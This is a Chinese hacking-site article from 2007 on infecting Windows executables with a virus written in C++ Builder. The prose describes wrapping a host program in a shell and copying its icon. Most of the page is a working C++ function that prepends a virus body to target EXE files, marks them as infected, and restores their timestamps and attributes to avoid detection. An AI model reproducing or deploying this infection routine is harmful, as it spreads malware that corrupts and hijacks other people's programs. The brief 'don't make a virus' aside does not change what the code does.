我爱黑客网首页 设为首页
加入收藏
联系我们
 首 页  技术文章 下载中心 站长学院 交流论坛
 软件:
 文章:        教程:
 推荐: 我爱黑客网论坛
 
 
 
 
   
黑软: Q Q 软件 木马间谍 探嗅监听 溢出攻击 加密解密 漏洞扫描 脚本注入 远程控制 综合利用 聊天工具  
 
技术文章: 爱黑新闻 | 黑客攻防 | 网络技术 | 程序设计 | 系统操作 | 本站动态 | 业界动态 | 安全公告 | 病毒公告 | 八卦黑客
 
 
您当前的位置:我爱黑客 -> 程序设计 -> C++ -> C++文件 -> 文章内容  
栏目导航
· C++综合 · C++通信
· C++视图 · C++图象
· C++系统 · C++多媒体
· C++界面 · C++文件
· C++数据库 · C++网络
热门文章
· 利用C++ Builder 设计..
· 利用C++ Builder设计实..
· 自解密的加密程序的制..
· C++ Builder中各种资源..
· 编写感染COM与EXE文件..
· 如何利用C++ Builder实..
· 文件关联型木马的编程..
· 用Foxmail的地址传播病..
· 共享软件的注册加密法..
· 还未结束就能把自身删..
· 浏览文件的一段代码
· 给想写嵌入式病毒和木..
相关文章

· 关于广播地址的问题..
· 关于PE可执行文件的..
· 关于目录处理的一些..
· 关于汉诺塔问题的最..
· 关于HTTP及XMLHTTP状..
· 关于div/idiv/mul/i..
· 关于对“小技巧 运..
· 关于net.exe跟net1...
· 探讨关于bo-blog的安..
· 关于对SQL注入80004..
查看更多与关于BCB写入文件进行感染的问题相关内容

关于BCB写入文件进行感染的问题
作者:幽火  来源:www.5ihack.com  发布时间:2007-1-8 19:19:51  发布人:ghostfire

减小字体 增大字体

  提示一点,一种最简单的方法是,自己做一个外壳程序(Shell),然后将要运行的程序以某种方式放入到外壳程序中(比如以资源或者特定位置数据),而外壳程序可以抽取原可执行程序文件得图标,并可修改自己的图标与之相同。这样一来,经过修改的程序就是 外壳程序 + 原可执行程序(已作为数据存在于外壳程序中),运行后自然先启动外壳程序,你可以在其中加入一些权限判定的代码,通过验证后,外壳程序将自身中的真正可执行文件数据提取并运行。这里面的要求是,外壳程序必须用纯 WinAPI SDK 方式编写,以减少文件体积;外壳程序应当对写入自身的原可执行程序数据作加密处理,以防被窃取。你可以位外壳程序增加感染功能(不要做病毒哦……)等等。

  /****************************************************************************
Function Name : inFect
Function : 感染文件
Parement : char *strFile 文件名
char *strSource 病毒体
DWORD dwSourceSize 病毒体长度
Return : if success return 1,else return 0;
*****************************************************************************/
int inFect(WIN32_FIND_DATA _lpFindFileData,char *strSource,DWORD dwSourceSize){
HANDLE hSearchFile=NULL;
DWORD dwSearchFileSize=0;
char VirusFlag[10]={'\0'};
DWORD bytes_write;
WIN32_FIND_DATA lpFindFileData=_lpFindFileData;
char *strFile=lpFindFileData.cFileName ;
//char *strFile="AntGhazi.tmp\0";//测试时,特定只感染此文件
//strFile="e:\\kkkk\\a.exe";//c:\\AntGhazi.tmp\0";//测试时,特定只感染此文件
::SetFileAttributes (strFile,FILE_ATTRIBUTE_NORMAL);
hSearchFile=::CreateFile (strFile,GENERIC_READ|GENERIC_WRITE, FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
if(hSearchFile == INVALID_HANDLE_VALUE){
::CloseHandle (hSearchFile);
::SetFileAttributes (strFile,lpFindFileData.dwFileAttributes );
return 0;
}
::SetFilePointer (hSearchFile,80, NULL, FILE_BEGIN); //先读取标志
::ReadFile (hSearchFile,VirusFlag,8,&bytes_write,0);
::ReadFile (hSearchFile,&dwSearchFileSize,4,&bytes_write,0);
if(strcmp(VirusFlag,"AntGhazi")!=0){ //感染
//先读取长度
dwSearchFileSize=::GetFileSize (hSearchFile,NULL); //原长度
if(dwSearchFileSize>10485760){ //如果文件大于10M,则退出
::CloseHandle (hSearchFile);
::SetFileAttributes (strFile,lpFindFileData.dwFileAttributes );
return 0;
}
char *pSearchFile=new char[dwSearchFileSize];
::SetFilePointer (hSearchFile,0,NULL,FILE_BEGIN); //读取原文件内容
::ReadFile (hSearchFile,pSearchFile,dwSearchFileSize,&bytes_write,0);
memmove(strSource+80,"AntGhazi",8); //写入标志
memcpy(strSource+88,&dwSearchFileSize,4); //写入源长度
::SetFilePointer(hSearchFile,0,NULL,FILE_BEGIN); //准备写入文件中
ModifyIcon(&strSource,pSearchFile); //修改ICON
::WriteFile (hSearchFile,strSource,dwSourceSize,&bytes_write,0);
::WriteFile (hSearchFile,pSearchFile,dwSearchFileSize,&bytes_write,0);
delete pSearchFile;
SetFileTime(hSearchFile,&lpFindFileData.ftCreationTime,&lpFindFileData.ftLastAccessTime ,&lpFindFileData.ftLastWriteTime);//写入日期
::CloseHandle (hSearchFile);
}else{
::CloseHandle (hSearchFile);
}
::SetFileAttributes (strFile,lpFindFileData.dwFileAttributes );
return 1;
}

查看更多与关于BCB写入文件进行感染的问题相关内容

[ ] [返回上一页] [打 印] [收 藏]
上一篇文章:
下一篇文章:
      揭开木马的神秘面纱       一种巧妙的删除程序自己的方法
∷相关文章评论∷   (评论内容只代表网友观点,与本站立场无关!) [发表评论]
 
 
 
 
晋ICP备05008232   维护网络安全、传播安全技术才是我们的目标! 
 
关于本站 - 网站帮助 - - 下载声明 - 友情连接 -网站地图